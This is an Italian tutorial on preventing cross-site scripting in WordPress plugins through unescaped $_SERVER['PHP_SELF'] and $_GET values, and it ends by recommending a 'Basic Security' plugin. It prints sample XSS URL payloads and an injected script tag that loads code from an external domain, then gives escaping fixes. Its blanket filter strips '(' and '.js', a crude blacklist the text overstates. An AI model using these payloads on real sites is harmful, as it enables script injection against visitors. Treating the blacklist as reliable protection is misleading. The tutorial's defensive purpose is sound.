Come prevenire il Cross Site Scripting XSS

Il Cross-site scripting (XSS) è l’esecuzione involontaria di codice remoto da parte di una pagina web.

I seguenti esempi chiariranno cosa significa.

Immagina di avere un plugin che aggiunge un modulo di contatto alla tua pagina.
Il codice per mostrare il modulo sarà qualcosa di simile a questo:

<form method="post" action="<?php echo $_SERVER["PHP_SELF"]"; ?>">
...
</form>

 

Solo gli sviluppatori che sono anche criminali evitano intenzionalmente di neutralizzare il valore della variabile superglobale $_SERVER, ma siamo tutti umani, e l’autore del plugin potrebbe dimenticarsene.
Nella tua installazione potresti avere un plugin con questo tipo di vulnerabilità a XSS.

Perché quel codice è vulnerabile?

La variabile superglobale $_SERVER[“PHP_SELF”] ottiene l’URL, quindi gli hacker possono usarla per inserire “/” e poi del codice di Cross-Site Scripting.

Questo è solo un esempio di URL contenente alcuni caratteri per iniettare del JavaScript non previsto dall’autore del plugin: https://your-domain.com/example.php/%22%3E%3Cscript%3Ealert(‘Site hacked”)%3C/script%3E.

Inserendo quell’URL il plugin produrrà questo output:

<form method="post" action="example.php/"><script>alert('Site hacked')</script>
...
</form>

 

Questo è un codice davvero poco pericoloso, aprirà solo un popup con il messaggio “Site hacked”.
È solo un esempio per mostrarti come gli hacker possono far eseguire il proprio codice su una pagina web.

Chi scriverà questo tipo di URL?

L’hacker può ad esempio inviare un’email a qualcuno con il link https://your-domain.com/example.php/%22%3E%3Cscript%3Ealert(‘Site hacked’)%3C/script%3E.
Cliccando sul link, la vittima andrà su https://your-domain.com/.
Se al posto di quel semplice codice innocuo l’hacker fornisse un link più complesso, la pagina web su https://your-domain.com/ potrebbe ottenere tutti i dati della vittima e inviarli a un server esterno che non ha nulla a che fare con quella pagina web.

Come prevenire questo tipo di Cross-Site Scripting?

La soluzione è molto semplice, e tutti gli sviluppatori la conoscono. Basta neutralizzare ogni input.
Il codice seguente eviterebbe questo tipo di vulnerabilità:

<form method=”post” action=”<?php echo htmlspecialchars($_SERVER[“PHP_SELF”]); ?>”>
…
</form>

La funzione htmlspecialchars() riconverte le entità HTML speciali in caratteri, e anche se il link contiene i caratteri per produrre uno script, grazie alla conversione lo script verrà neutralizzato.

Come prevenire il Cross-Site Scripting di altri plugin?

Non sei l’autore del plugin vulnerabile e non puoi modificarne direttamente il codice, ma puoi aggiungere del codice personalizzato per prevenire questo tipo di vulnerabilità.

Questa semplicissima riga di codice eviterà il Cross-Site Scripting causato dal codice scadente descritto sopra:

if( isset( $_SERVER["PHP_SELF"] ) ){
    $_SERVER["PHP_SELF"] = htmlspecialchars( $_SERVER["PHP_SELF"] );
}

 

Questo codice deve essere eseguito prima che altri plugin possano produrre output vulnerabile nella pagina, quindi prima dell’output del tema.
Se hai bisogno di creare un plugin funzionale puoi usare lo strumento WordPress Plugin Builder.

La variabile superglobale $_SERVER non è l’unica che può introdurre vulnerabilità quando hai plugin scritti male.
Un’altra variabile superglobale che dovrebbe essere sempre neutralizzata è $_GET.

La variabile $_GET è un array che contiene tutte le query string dell’URL.
Se ad esempio l’utente scrive https://your-domain.com?a=2&b=5&checkout=true, l’array sarà:

$_GET = array( ‘a’ => ‘2’,’b’ => ‘5’,’checkout’ => ‘true’ );

Molti plugin usano poi quell’array per elaborare i dati e magari mostrare qualcosa a schermo.

 

Ecco un esempio:

<?php echo '<div>' . $_GET['a'] . '</div>'; ?>

 

Purtroppo, anche questo tipo di codice molto vulnerabile potrebbe essere incluso in uno dei tuoi plugin.

Immagina che il parametro a fosse <script src=”https://external-domain.com/example.js”></script>

L’output del plugin sarebbe:

<div><script src="http://example.com/runme.js"></script></div>

 

Puoi immaginare da solo cosa significa. Uno script esterno che esegue codice sul tuo sito.

Per prevenire questo tipo di vulnerabilità l’autore del plugin avrebbe dovuto fare l’escape dell’input proveniente dalla variabile superglobale $_GET.

Il codice corretto era questo:

<div><?php echo isset( $_GET['a'] ) ? esc_html( $_GET['a'] ) : ''; ?></div>
 

Dentro i tag div non vogliamo alcun HTML, quindi facciamo l’escape dell’input usando la funzione del core di WordPress esc_html.

Puoi prevenire questo tipo di vulnerabilità introdotta da altri plugin?

Sì, puoi, basta aggiungere questo codice in un plugin funzionale:

 if( !empty( $_GET ) ){
    $remove = array( '(','.js' );
    foreach( $_GET as $k => $v ){
        $_GET[$k] = str_replace( $remove,'',htmlspecialchars( $v ) );
    }
}

 

Nel codice qui sopra non usiamo esc_html() perché è troppo restrittiva e potrebbe creare problemi ad alcuni plugin. Ma la funzione htmlspecialchars() insieme alla sostituzione dei caratteri “(” e “.js” è sufficiente a prevenire il tipo di Cross-Site Scripting descritto sopra.

 

Il codice proposto non neutralizzerà tutti i tipi di Cross-Site Scripting, ma aiuterà sicuramente a prevenire le iniezioni più frequenti.
Molti siti web vengono hackerati a causa di questo tipo di vulnerabilità e molte volte gli hacker sfruttano le variabili superglobali $_SERVER e $_GET. Quindi, solo aggiungendo le poche righe di codice descritte sopra puoi aumentare drasticamente il livello di sicurezza del tuo sito. Non garantisce una protezione al 100%, ma è un modo molto efficace per aumentare la sicurezza senza perdere nulla in termini di prestazioni.

Per limitare il rischio di Cross-Site Scripting puoi anche scaricare direttamente il plugin Basic Security dal repository di WordPress. Include il codice descritto sopra.

Lo trovi anche nella pagina dei plugin del tuo backend se cerchi “Basic Security: Prevent Cross Site Scripting”.